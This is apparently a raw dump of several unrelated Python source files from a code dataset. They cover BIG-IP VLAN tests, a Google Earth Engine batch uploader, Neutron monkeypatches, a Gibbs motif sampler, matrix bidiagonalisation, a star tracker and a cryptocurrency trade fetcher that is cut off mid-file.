# form.add_section(section)\n #\n # section.add_item(TeraFormItem(\"language\", gettext(\"Language\"), \"array\", False,\n # [TeraFormValue(\"fr\", gettext(\"Français\")),\n # TeraFormValue(\"en\", gettext(\"English\"))]))\n # section.add_item(TeraFormItem(\"notify_sounds\", gettext(\"Activate Notification Sounds\"), \"boolean\", False))\n\n # section1 = TeraFormSection(\"main_audio_video\", gettext(\"Configuration audio-vidéo\"))\n # form.add_section(section1)\n #\n # # Items\n # section1.add_item(TeraFormItem(\"camera\", gettext(\"Caméra\"), \"videoinputs\", True))\n # item = TeraFormItem(\"teracam_type\", gettext(\"Type de caméra\"), \"array\", True,\n # [TeraFormValue(\"0\", gettext(\"Caméra réseau\")),\n # TeraFormValue(\"1\", gettext(\"Capture d'écran\"))],\n # \"0\", TeraFormItemCondition(\"camera\", \"=\", \"TeraCam\"))\n # section1.add_item(item)\n #\n # item = TeraFormItem(\"teracam_src\", gettext(\"Adresse du flux de la caméra\"), \"text\", True,\n # item_condition=TeraFormItemCondition(\"teracam_type\", \"=\", 0))\n # section1.add_item(item)\n #\n # item = TeraFormItem(\"teracam_screen_fps\", gettext(\"Trames par seconde\"), \"array\", True,\n # [\"Maximum\", \"5\", \"10\", \"15\",\n # \"20\", \"24\", \"30\"],\n # item_condition=TeraFormItemCondition(\"teracam_type\", \"=\", 1))\n # section1.add_item(item)\n # item = TeraFormItem(\"teracam_screen_res\", gettext(\"Résolution\"), \"array\", True,\n # [\"Maximum\", \"160x120\", \"320x240\",\n # \"640x480\", \"720x480\", \"800x600\",\n # \"1024x768\", \"1280x720\", \"1440x900\",\n # \"1680x1050\", \"1920x1080\"],\n # item_condition=TeraFormItemCondition(\"teracam_type\", \"=\", 1))\n # section1.add_item(item)\n #\n # section1.add_item(TeraFormItem(\"camera_ptz\", gettext(\"Caméra contrôlable (PTZ)\"), \"boolean\"))\n # item = TeraFormItem(\"camera_ptz_type\", gettext(\"Type de contrôle\"), \"array\", True,\n # [TeraFormValue(\"0\", gettext(\"Vivotek\")), TeraFormValue(\"1\", gettext(\"ONVIF (générique)\"))],\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_ip\", gettext(\"Adresse réseau\"), \"text\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_port\", gettext(\"Port\"), \"numeric\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_username\", gettext(\"Nom utilisateur\"), \"text\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n # item = TeraFormItem(\"camera_ptz_password\", gettext(\"Mot de passe\"), \"password\", True,\n # item_condition=TeraFormItemCondition(\"camera_ptz\", \"=\", True))\n # section1.add_item(item)\n #\n # section1.add_item(TeraFormItem(\"audio\", gettext(\"Microphone\"), \"audioinputs\", True))\n # section1.add_item(TeraFormItem(\"camera2\", gettext(\"Caméra secondaire\"), \"videoinputs\"))\n #\n # section2 = TeraFormSection(\"options\", gettext(\"Configuration générale\"))\n # form.add_section(section2)\n # section2.add_item(TeraFormItem(\"options_fullscreen\", gettext(\"Affichage en plein écran en séance\"), \"boolean\",\n # item_default=True))\n # section2.add_item(TeraFormItem(\"option_webaccess\", gettext(\"Permettre l'accès via le web\"), \"boolean\",\n # item_default=False))\n\n return form.to_dict()\n\n","sub_path":"teraserver/python/opentera/forms/TeraUserForm.py","file_name":"TeraUserForm.py","file_ext":"py","file_size_in_byte":6120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"607565660","text":"# Copyright 2016 F5 Networks Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\n\nfrom f5.bigip.resource import MissingRequiredCreationParameter\nfrom f5.bigip.resource import MissingUpdateParameter\nfrom icontrol.session import iControlUnexpectedHTTPError\nfrom requests.exceptions import HTTPError\n\nDESCRIPTION = \"TESTDESCRIPTION\"\n\n\ndef delete_vlan(bigip, name, partition):\n v = bigip.net.vlans.vlan\n try:\n v.load(name=name, partition=partition)\n except HTTPError as err:\n if err.response.status_code != 404:\n raise\n return\n v.delete()\n\n\ndef setup_basic_test(request, bigip, name, partition):\n def teardown():\n delete_vlan(bigip, name, partition)\n\n v = bigip.net.vlans.vlan\n v.create(name=name, partition=partition)\n request.addfinalizer(teardown)\n return v\n\n\ndef setup_interfaces_test(request, bigip, name, partition, iname='1.1'):\n v = setup_basic_test(request, bigip, name, partition)\n i = v.interfaces_s.interfaces\n i.create(name=iname)\n return i, v\n\n\ndef setup_vlan_collection_get_test(request, bigip):\n def teardown():\n vc = bigip.net.vlans\n for v in vc.get_collection():\n v.delete()\n request.addfinalizer(teardown)\n\n\nclass TestVLANInterfacesCollection(object):\n def test_get_collection(self, request, bigip):\n # Setup will create a VLAN and one interfaces\n v1 = setup_basic_test(request, bigip, 'v1', 'Common')\n v1.interfaces_s.interfaces.create(name='1.1')\n ifcs = v1.interfaces_s.get_collection()\n i2 = ifcs[0]\n assert len(ifcs) is 1\n assert ifcs[0].name == '1.1'\n i2.delete()\n ifcs = v1.interfaces_s.get_collection()\n assert len(ifcs) is 0\n\n\nclass TestVLANInterfaces(object):\n def test_create_interfaces(self, request, bigip):\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n assert i.name == '1.1'\n\n def test_update_exclusive_attrs(self, request, bigip):\n '''Test that we remove the other exclusive args if we set one.\n\n The default interfaces that is made has the vlans set to tagged.\n We change it to untagged and make sure that the tagged is no longer\n an attribute.\n '''\n ifc, _ = setup_interfaces_test(request, bigip, 'somevlan', 'Common')\n ifc.untagged = True\n assert not hasattr(ifc, 'tagged')\n ifc.update()\n assert ifc.untagged is True\n ifc.tagged = True\n ifc.tagMode = 'service'\n assert not hasattr(ifc, 'untagged')\n ifc.update()\n assert ifc.tagged is True\n\n def test_update(self, request, bigip):\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i.update(untagged=True)\n assert not hasattr(i, 'tagged')\n assert i.untagged is True\n\n def test_update_mixed_attr_set(self, request, bigip):\n '''Test that we get an Exception because we have both exclusives set.\n\n This only happens when the user sets the attribute and then does the\n update with the other attribute set. We don't actually know which one\n the user wants to set.\n '''\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i.untagged = True\n assert not hasattr(i, 'tagged')\n assert i.untagged is True\n with pytest.raises(iControlUnexpectedHTTPError) as err:\n i.update(tagged=True, tagMode='service')\n assert err.response.status_code == 400\n assert \"may not be specified with\" in err.response.text\n\n def test_update_without_tagmode(self, request, bigip):\n i, _ = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i.tagged = True\n with pytest.raises(MissingUpdateParameter):\n i.update()\n\n def test_load(self, request, bigip):\n i1, v = setup_interfaces_test(request, bigip, 'v1', 'Common')\n i2 = v.interfaces_s.interfaces\n i2.load(name='1.1')\n assert i1.name == i2.name\n assert i1.generation == i2.generation\n\n\nclass TestVLANCollection(object):\n def test_get_collection(self, request, bigip):\n setup_vlan_collection_get_test(request, bigip)\n vlans = ['v1', 'v2', 'v3']\n for vlan in vlans:\n bigip.net.vlans.vlan.create(name=vlan)\n vc = bigip.net.vlans.get_collection()\n assert len(vc) == 3\n for v in vc:\n assert v.name in vlans\n\n\nclass TestVLAN(object):\n def test_create_no_args(self, bigip):\n v1 = bigip.net.vlans.vlan\n with pytest.raises(MissingRequiredCreationParameter):\n v1.create()\n\n def test_CURDL(self, request, bigip):\n setup_vlan_collection_get_test(request, bigip)\n # Create a VLAN and verify some of the attributes\n v1 = bigip.net.vlans.vlan\n v1.create(name='v1', partition='Common')\n i1 = v1.interfaces_s.interfaces\n i1.create(name='1.1', tagged=True, tagMode='service')\n v1_ifcs = v1.interfaces_s.get_collection()\n gen1 = v1.generation\n assert v1.name == 'v1'\n assert hasattr(v1, 'generation') and isinstance(v1.generation, int)\n assert len(v1_ifcs) == 1\n assert v1_ifcs[0].name == '1.1'\n\n # Update it\n v1.description = DESCRIPTION\n v1.update()\n gen2 = v1.generation\n assert hasattr(v1, 'description')\n assert v1.description == DESCRIPTION\n assert gen2 > gen1\n\n # Refresh it\n v1.refresh()\n assert v1.generation == gen2\n\n # Load into a new variable\n v2 = bigip.net.vlans.vlan.load(name='v1', partition='Common')\n\n # Update v1 again\n v1.description = DESCRIPTION + DESCRIPTION\n v1.update()\n assert v1.generation > gen2\n assert v1.generation > v2.generation\n assert v2.description == DESCRIPTION\n assert v1.description == DESCRIPTION + DESCRIPTION\n\n def test_load_subcollection_(self, request, bigip):\n '''This tests for issue #148.\n\n Test that we we load a vlan object we can see the sub-s\n '''\n setup_interfaces_test(request, bigip, 'v1', 'Common')\n v2 = bigip.net.vlans.vlan.load(name='v1', partition='Common')\n v2_ifcs = v2.interfaces_s.get_collection()\n assert len(v2_ifcs) == 1\n","sub_path":"test/functional/tm/net/test_vlan.py","file_name":"test_vlan.py","file_ext":"py","file_size_in_byte":6812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"523990327","text":"import getpass\nimport glob\nimport logging\nimport os\nimport sys\nimport urllib\n\nimport ee\nimport requests\nimport retrying\n\nimport helper_functions\nimport metadata_loader\n\n\ndef upload(user, path_for_upload, metadata_path=None, collection_name=None):\n \"\"\"\n Uploads content of a given directory to GEE. The function first uploads an asset to Google Cloud Storage (GCS)\n and then uses ee.data.startIngestion to put it into GEE, Due to GCS intermediate step, users is asked for\n Google's account name and password.\n\n In case any exception happens during the upload, the function will repeat the call a given number of times, after\n which the error will be propagated further.\n\n :param user: name of a Google account\n :param path_for_upload: path to a directory\n :param metadata_path: (optional) path to file with metadata\n :param collection_name: (optional) name to be given for the uploaded collection\n :return:\n \"\"\"\n\n metadata = metadata_loader.load_metadata_from_csv(metadata_path) if metadata_path else None\n\n password = getpass.getpass()\n google_session = __get_google_auth_session(user, password)\n\n root_path_in_gee = ee.data.getAssetRoots()[0]['id']\n\n full_path_to_collection = root_path_in_gee + '/' + collection_name\n\n helper_functions.create_image_collection(full_path_to_collection)\n\n all_images_paths = glob.glob(os.path.join(path_for_upload, '*.tif'))\n no_images = len(all_images_paths)\n\n for current_image_no, image_path in enumerate(all_images_paths):\n logging.info('Processing image %d out of %d: %s', current_image_no+1, no_images, image_path)\n filename = helper_functions.get_filename_from_path(path=image_path)\n\n asset_full_path = full_path_to_collection + '/' + filename\n if helper_functions.collection_exist(asset_full_path):\n logging.warning(\"Asset %s already exists: not uploading\", filename)\n\n if metadata and not filename in metadata:\n logging.warning(\"No metadata exists for image %s: it will not be ingested\", filename)\n with open('assets_missing_metadata.log', 'a') as missing_metadata_file:\n missing_metadata_file.write(image_path + '\\n')\n continue\n\n properties = metadata[filename] if metadata else None\n\n try:\n r = __upload_to_gcs_and_start_ingestion_task(current_image_no, asset_full_path,\n google_session, image_path, properties)\n except Exception as e:\n logging.critical('Upload of %s has failed. Moving on...', filename)\n\n\n\n@retrying.retry(wait_exponential_multiplier=1000, wait_exponential_max=4000, stop_max_attempt_number=5)\ndef __upload_to_gcs_and_start_ingestion_task(current_image_no, asset_full_path, google_session, image_path, properties):\n asset_request = __upload_file(session=google_session,\n file_path=image_path,\n asset_name=asset_full_path,\n properties=properties)\n task_id = ee.data.newTaskId(1)[0]\n r = ee.data.startIngestion(task_id, asset_request)\n __periodic_wait(current_image=current_image_no, period=50)\n return r\n\n\ndef __validate_metadata(path_for_upload, metadata_path):\n validation_result = metadata_loader.validate_metadata_from_csv(metadata_path)\n keys_in_metadata = {result.keys for result in validation_result}\n images_paths = glob.glob(os.path.join(path_for_upload, '*.tif'))\n keys_in_data = {helper_functions.get_filename_from_path(path) for path in images_paths}\n missing_keys = keys_in_data - keys_in_metadata\n\n if missing_keys:\n logging.warning('%d images does not have a corresponding key in metadata', len(missing_keys))\n print('\\n'.join(e for e in missing_keys))\n else:\n logging.info('All images have metadata available')\n\n if not validation_result.success:\n print('Validation finished with errors. Type \"y\" to continue, default NO: ')\n choice = raw_input().lower()\n if choice not in ['y', 'yes']:\n logging.info('Application will terminate')\n exit(1)\n\n\ndef __extract_metadata_for_image(filename, metadata):\n if filename in metadata:\n return metadata[filename]\n else:\n logging.warning('Metadata for %s not found', filename)\n return None\n\n\ndef __get_google_auth_session(username, password):\n google_accounts_url = 'https://accounts.google.com'\n authentication_url = 'https://accounts.google.com/ServiceLoginAuth'\n\n session = requests.session()\n r = session.get(google_accounts_url)\n\n auto = r.headers.get('X-Auto-Login')\n follow_up = urllib.unquote(urllib.unquote(auto)).split('continue=')[-1]\n galx = r.cookies['GALX']\n\n payload = {\n 'continue': follow_up,\n 'Email': username,\n 'Passwd': password,\n 'GALX': galx\n }\n\n r = session.post(authentication_url, data=payload)\n\n if r.url != authentication_url:\n logging.info(\"Logged in\")\n return session\n else:\n logging.critical(\"Logging failed\")\n sys.exit(1)\n\n\ndef __get_upload_url(session):\n r = session.get('https://ee-api.appspot.com/assets/upload/geturl?')\n return r.json()['url']\n\n\ndef __upload_file(session, file_path, asset_name, properties=None):\n files = {'file': open(file_path, 'rb')}\n upload_url = __get_upload_url(session)\n upload = session.post(upload_url, files=files)\n gsid = upload.json()[0]\n asset_data = {\"id\": asset_name,\n \"tilesets\": [\n {\"sources\": [\n {\"primaryPath\": gsid,\n \"additionalPaths\": []\n }\n ]}\n ],\n \"bands\": [],\n \"properties\": properties\n }\n return asset_data\n\n\ndef __periodic_wait(current_image, period):\n if (current_image + 1) % period == 0:\n # Time to check how many tasks are running!\n logging.info('Periodic check for number of running tasks is due')\n helper_functions.wait_for_tasks_to_complete()","sub_path":"geebam/batch_uploader.py","file_name":"batch_uploader.py","file_ext":"py","file_size_in_byte":6169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"243307089","text":"# Copyright (c) 2016 Cisco Systems Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom neutron.api import extensions\n\nfrom gbpservice.neutron.plugins.ml2plus import extension_overrides\n\n\n# Monkeypatch Neutron to allow overriding its own extension\n# descriptors. Note that extension descriptor classes cannot be\n# monkeypatched directly because they are loaded explicitly by file\n# name and then used immediately.\n_real_get_extensions_path = extensions.get_extensions_path\n\n\ndef get_extensions_path(service_plugins=None):\n path = _real_get_extensions_path(service_plugins)\n return extension_overrides.__path__[0] + ':' + path\n\n\nextensions.get_extensions_path = get_extensions_path\n\n\nfrom gbpservice.common import utils as gbp_utils\n\n\ndef get_current_session():\n return gbp_utils.get_current_session()\n\n\nfrom neutron.plugins.ml2 import ovo_rpc\n\n\n# The following reduces the ERROR log level for a message\n# which is seen when a port_update even is sent. The\n# port_update is intentionally sent in the pre_commit\n# phase by the apic_aim mechanism driver, but is not\n# what neutron expects and hence it flags it.\novo_rpc.LOG.error = ovo_rpc.LOG.debug\n\n\nfrom neutron.callbacks import registry\n\nfrom gbpservice.network.neutronv2 import local_api\n\n\ndef notify(resource, event, trigger, **kwargs):\n if 'context' in kwargs:\n session = kwargs['context'].session\n else:\n session = get_current_session()\n\n txn = None\n if session:\n txn = local_api.get_outer_transaction(session.transaction)\n local_api.send_or_queue_registry_notification(\n session, txn, resource, event, trigger, **kwargs)\n\n\nregistry.notify = notify\n\n\nfrom neutron.callbacks import events\nfrom neutron.callbacks import exceptions\nfrom oslo_log import log as logging\n\n\nLOG = logging.getLogger(__name__)\n\n\ndef _notify_loop(resource, event, trigger, **kwargs):\n \"\"\"The notification loop.\"\"\"\n errors = []\n callbacks = kwargs.pop('callbacks', None)\n if not callbacks:\n callbacks = list(registry._get_callback_manager()._callbacks[\n resource].get(event, {}).items())\n LOG.debug(\"Notify callbacks %s for %s, %s\", callbacks, resource, event)\n for callback_id, callback in callbacks:\n try:\n callback(resource, event, trigger, **kwargs)\n except Exception as e:\n abortable_event = (\n event.startswith(events.BEFORE) or\n event.startswith(events.PRECOMMIT)\n )\n if not abortable_event:\n LOG.exception(\"Error during notification for \"\n \"%(callback)s %(resource)s, %(event)s\",\n {'callback': callback_id,\n 'resource': resource, 'event': event})\n else:\n LOG.error(\"Callback %(callback)s raised %(error)s\",\n {'callback': callback_id, 'error': e})\n errors.append(exceptions.NotificationError(callback_id, e))\n return errors\n\n\noriginal_notify_loop = registry._get_callback_manager()._notify_loop\n\n\nfrom inspect import isclass\nfrom inspect import isfunction\nfrom inspect import ismethod\n\n\n# The undecorated() and looks_like_a_decorator() functions have been\n# borrowed from the undecorated python library since RPM or Debian\n# packages are not readily available.\ndef looks_like_a_decorator(a):\n return (\n isfunction(a) or ismethod(a) or isclass(a)\n )\n\n\ndef undecorated(o):\n \"\"\"Remove all decorators from a function, method or class\"\"\"\n # class decorator\n if type(o) is type:\n return o\n\n try:\n # python2\n closure = o.func_closure\n except AttributeError:\n pass\n\n try:\n # python3\n closure = o.__closure__\n except AttributeError:\n return\n\n if closure:\n for cell in closure:\n # avoid infinite recursion\n if cell.cell_contents is o:\n continue\n\n # check if the contents looks like a decorator; in that case\n # we need to go one level down into the dream, otherwise it\n # might just be a different closed-over variable, which we\n # can ignore.\n\n # Note: this favors supporting decorators defined without\n # @wraps to the detriment of function/method/class closures\n if looks_like_a_decorator(cell.cell_contents):\n undecd = undecorated(cell.cell_contents)\n if undecd:\n return undecd\n else:\n return o\n else:\n return o\n\n\nfrom neutron.db.quota import api as quota_api\nfrom neutron.db.quota import driver # noqa\nfrom neutron import quota\n\n\nf = quota_api.remove_reservation\nquota_api.commit_reservation = undecorated(f)\n\n\ndef commit_reservation(context, reservation_id):\n quota_api.commit_reservation(context, reservation_id, set_dirty=False)\n\n\nquota.QUOTAS.get_driver().commit_reservation = commit_reservation\n\n\nfrom oslo_db.sqlalchemy import exc_filters\n\n\nexc_filters.LOG.exception = exc_filters.LOG.debug\n\n\nfrom neutron.db import models_v2\nfrom neutron.plugins.ml2 import db as ml2_db\nfrom neutron.plugins.ml2 import models\nfrom sqlalchemy.orm import exc\n\n\n# REVISIT: This method gets decorated in Pike for removal in Queens. So this\n# patching might need to be changed in Pike and removed in Queens.\ndef patched_get_locked_port_and_binding(context, port_id):\n \"\"\"Get port and port binding records for update within transaction.\"\"\"\n LOG.debug(\"Using patched_get_locked_port_and_binding\")\n try:\n port = (context.session.query(models_v2.Port).\n enable_eagerloads(False).\n filter_by(id=port_id).\n one())\n binding = (context.session.query(models.PortBinding).\n enable_eagerloads(False).\n filter_by(port_id=port_id).\n one())\n return port, binding\n except exc.NoResultFound:\n return None, None\n\n\nml2_db.get_locked_port_and_binding = patched_get_locked_port_and_binding\n","sub_path":"gbpservice/neutron/plugins/ml2plus/patch_neutron.py","file_name":"patch_neutron.py","file_ext":"py","file_size_in_byte":6610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"613840736","text":"__author__ = 'toanngo'\nimport unittest\nfrom app.api.appointment_api import get_appointments_helper, create_appointment_helper\nfrom app.models import Users, Posting\n\n\nclass PostingApiTest(unittest.TestCase):\n @unittest.skip(\"skip to prevent creating too many appointments\")\n def test_create_appointment_helper(self):\n\n user = Users.query.filter_by(username='toanngo').first()\n posting_id = Posting.query.filter(Posting.cook_id != user.id).first().id\n appointment = create_appointment_helper(user, posting_id)\n self.assertTrue(appointment)\n self.assertTrue(appointment.customer_id == user.id)\n\n def test_get_appointments_helper(self):\n user = Users.query.filter_by(username='toanngo').first()\n appointments = get_appointments_helper(user)\n for appointment in appointments:\n print(appointment)\n self.assertTrue(appointments)\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"app/tests/appointment_api_test.py","file_name":"appointment_api_test.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"99590725","text":"ntDict = {'A': 0, 'C': 1, 'G': 2, 'T': 3}\n\nimport random\n\ndef randomProbableKmer(text, k, prob_array):\n sumVal = float(sum(prob_array))\n rand = random.random()\n currSum = 0\n\n for ind, val in enumerate(prob_array):\n currSum += val\n if currSum/sumVal >= rand:\n return text[ind: ind + k]\n\ndef generateRandomMotifs(dna, k ,t):\n motifs = []\n for elem in dna:\n rand = random.randint(0, len(elem) - k)\n motifs.append(list(elem[rand : rand + k]))\n return motifs\n\ndef generateProbabilityArray(text, k, profile):\n freqArray = [0] * (len(text) - k + 1)\n for i in range(len(text) - k + 1):\n currProb = 1\n for ind, base in enumerate(text[i: i + k]):\n currProb *= profile[ntDict[base]][ind]\n freqArray[i] = currProb\n return freqArray\n\n\ndef generateProfileMatrixWithPseudocounts(motifs_mat):\n kmerCount = 4 + len(motifs_mat)\n profile = [[0] * k for _ in range(4)]\n\n for l in motifs_mat:\n for i, base in enumerate(l):\n profile[ntDict[base]][i] += 1\n\n for i in range(len(profile)):\n for j in range(len(l)):\n profile[i][j] += 1\n profile[i][j] /= kmerCount\n\n return profile\n\n\ndef score(motifs):\n k = len(motifs[0])\n score = 0\n\n for j in range(k):\n freqArray = [0] * 4\n for i in range(len(motifs)):\n base = motifs[i][j]\n freqArray[ntDict[base]] += 1\n score += (sum(freqArray) - max(freqArray))\n\n return score\n\n\ndef gibbsSampler(dna, k, t, N):\n best_motifs = generateRandomMotifs(dna, k, t)\n motifs = best_motifs\n for i in range(N):\n rand = random.randint(0, len(motifs) - 1)\n new_motifs = motifs[:rand] + motifs[rand + 1:]\n profile = generateProfileMatrixWithPseudocounts(new_motifs)\n prob_array = generateProbabilityArray(dna[rand], k, profile)\n motifs[rand] = randomProbableKmer(dna[rand], k, prob_array)\n\n if score(motifs) < score(best_motifs):\n best_motifs = motifs\n return best_motifs\n\n\nwith open('test.txt', 'r+') as file:\n values = file.readline().split()\n k, t, N = int(values[0]), int(values[1]), int(values[2])\n dna = [line.rstrip() for line in file]\n\n best_motifs = gibbsSampler(dna, k, t, N)\n best_score = score(best_motifs)\n for i in range(20):\n motifs = gibbsSampler(dna, k, t, N)\n if score(motifs) < best_score:\n best_motifs = motifs\n best_score = score(motifs)\n\n for elem in best_motifs:\n print(''.join(elem))\n\n\n","sub_path":"GibbsSamplerNew.py","file_name":"GibbsSamplerNew.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"184896870","text":"import numpy as np;\nfrom householder import *\n\n\n# PRECOND : A is a n*m numpy float matrix\n# Returns Q,BD,R such as Q*BD*R = A\n# Q (size n*n) and R (size m*m) orthogonal\n# BD (size n*m) upper bidiagonal matrix\ndef bidiagonal(A,eps=1e-6):\n \n n = A.shape[0]\n m = A.shape[1]\n\n Qleft = np.matrix(np.eye(n,n))\n Qright = np.matrix(np.eye(m,m))\n BD = A[:]\n\n for i in range(min(n,m)):\n\n X = BD[i:n, i]\n \n Y = np.matrix(np.zeros([n-i,1]))\n Y[0,0] = np.linalg.norm(X)\n\n U1 = np.zeros([n, 1])\n U1[i:n] = calculate_householder_vector(X, Y, eps)\n \n Qleft = optimized_matrix_product_AxH(Qleft, U1)\n BD = optimized_matrix_product_HxA(U1, BD)\n\n if i < m-2:\n X = BD[i, (i+1):m]\n X = np.transpose(X)\n \n Y = np.matrix(np.zeros([m-i-1,1]))\n Y[0,0] = np.linalg.norm(X)\n\n U2 = np.zeros([m, 1])\n U2[(i+1):m] = calculate_householder_vector(X, Y, eps)\n \n Qright = optimized_matrix_product_HxA(U2, Qright)\n BD = optimized_matrix_product_AxH(BD, U2)\n\n return Qleft, BD, Qright\n\n","sub_path":"bidiagonal.py","file_name":"bidiagonal.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"176518792","text":"\"\"\"A star tracker algorithm\"\"\"\n\n# built-in libraries\nfrom math import degrees, sqrt, acos, asin, atan2, log\nimport argparse\n\n# external libraries\nimport numpy\nimport numpy.random\nimport scipy.linalg\nimport matplotlib.pyplot\n\n# internal libraries\nfrom .common import (rect, topobase, topo2rect,\n geo2vec, vec2geo,\n gcnav, dualtri, tabdes)\n\n\ndef filter_img(img, N=256, min_y=32, max_y=224):\n r, g, b, a = img[..., 0], img[..., 1], img[..., 2], img[..., 3]\n y = 255 * (0.2126 * r + 0.7152 * g + 0.0722 * b) * a\n point_list = []\n for y, x in zip(*numpy.where(numpy.logical_and(y > min_y, y < max_y))):\n r = sqrt((N // 2 - x - 1) ** 2 + (N // 2 - y - 1) ** 2)\n el = degrees(acos(r / N))\n az = degrees(atan2(N // 2 - x - 1, N // 2 - y - 1))\n point_list.append((az, el))\n else:\n return point_list\n\n\ndef find_matches(point_list, geo_hash):\n match_list = {}\n for xp in point_list:\n for xn in point_list:\n if xp is xn:\n continue\n \n try:\n p = gcnav(*xp, *xn)\n except:\n continue\n \n b = topobase(p, left=True)\n for p in point_list:\n if p is xp or p is xn:\n continue\n \n try:\n p = gcnav(*xp, *p)\n except:\n continue\n\n p = topo2rect(p, b)\n pair = geo_hash.get(p)\n if pair is not None:\n if (xp, xn) in match_list:\n vote_hash = match_list[xp, xn]\n elif (xn, xp) in match_list:\n vote_hash = match_list[xn, xp]\n pair = tuple(reversed(pair))\n else:\n vote_hash = match_list.setdefault((xp, xn), {})\n vote_hash.setdefault(pair, 0)\n vote_hash[pair] += 1\n return match_list\n\n\ndef tally_vote(match_list, star_map):\n bar_list = []\n for (xp, xn), vote_hash in match_list.items():\n for pair, votes in vote_hash.items():\n if pair is None:\n continue\n p1, star1 = star_map[pair[0]]\n p2, star2 = star_map[pair[1]]\n\n try:\n r_hat = dualtri(xp, xn, p1, p2)\n except:\n print(\"no votes for `%s %s` and `%s %s`\" %\n (*map(bytes.decode, star1),\n *map(bytes.decode, star2)))\n continue\n\n print(\"voting %d for match on `%s %s` and `%s %s`\" %\n (votes,\n *map(bytes.decode, star1),\n *map(bytes.decode, star2)))\n bar_list.append((r_hat, votes))\n return bar_list\n\n\ndef calc_stats(bar_list, C=0.95, max_q=5):\n N = sum(n for (_, n) in bar_list)\n if N <= 1:\n return # not enough measurements\n print(\"total votes %d\" % N)\n \n r_bar = sum(n * _hat for (_hat, n) in bar_list) / N\n r = scipy.linalg.norm(r_bar)\n r_hat = r_bar / r\n \n d = 1 - sum(n * numpy.dot(_hat, r_hat) ** 2\n for (_hat, n) in bar_list) / N\n std_dev = sqrt(d / N) / r\n print(\"std dev %.2e [deg]\" % degrees(std_dev))\n \n try:\n q = degrees(asin(sqrt(- log(1 - C)) * std_dev))\n except:\n return # standard deviation too high\n if q > max_q:\n return # confidence cone too wide\n\n ra, dec = vec2geo(r_hat)\n print(\"ra %.2f, dec %.2f (+/-%.2e) [deg]\" % (ra, dec, q))\n\n return r_hat\n\n\ndef cli():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", \"--field\", default=\"star.nav\", type=str,\n help=\"nav stars\")\n parser.add_argument(\"-m\", \"--metric\", default=\"hash.geo\", type=str,\n help=\"geo hash\")\n parser.add_argument(\"image\", default=\"st.png\", type=str,\n help=\"input image\")\n\n return parser.parse_args()\n\n\ndef main(navstar, geohash, fin):\n img = matplotlib.pyplot.imread(fin)\n point_list = filter_img(img)\n \n data = tabdes(geohash, \"!bbHHxB\")\n geo_hash = {rect(x, y): (i, j) for (x, y, i, j, _) in data}\n\n match_list = find_matches(point_list, geo_hash)\n \n data = tabdes(navstar, \"!HHhe2s3sxxB\")\n star_map = [((lon, lat), (x, abbr))\n for (_, lon, lat, _, x, abbr, _) in data]\n\n bar_list = tally_vote(match_list, star_map)\n\n calc_stats(bar_list)\n\n\nif __name__ == \"__main__\":\n ns = cli()\n main(ns.field, ns.metric, ns.image)\n","sub_path":"st/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"250667874","text":"import sys\nimport time\n\nfrom ccxt import DDoSProtection, RequestTimeout, Exchange\n\nfrom tradingkit.data.fetch.fetcher import Fetcher\n\n\nclass CCXTFetcher(Fetcher):\n def __init__(self, exchange: Exchange):\n self.exchange = exchange\n self.wait_seconds = 60\n\n def fetch(self, symbol, since8601=None, to8601=None):\n since = 0 if since8601 is None else self.exchange.parse8601(since8601)\n to = self.exchange.milliseconds() if to8601 is None else self.exchange.parse8601(to8601)\n end = False\n while since < to and not end:\n try:\n sys.stdout.write(\"Since %s\\n\" % (time.ctime(since // 1000)))\n step = self.exchange.fetch_trades(symbol, since)\n if len(step) > 0:\n if since != step[-1]['timestamp']:\n since = step[-1]['timestamp']\n yield step\n else:\n sys.stdout.write(\"More trades in one millisecond than response length\\n\")\n since += 1\n else:\n sys.stdout.write(\"End of trades\\n\")\n end = True\n except DDoSProtection:\n sys.stderr.write(\"Api call rate limit reached, 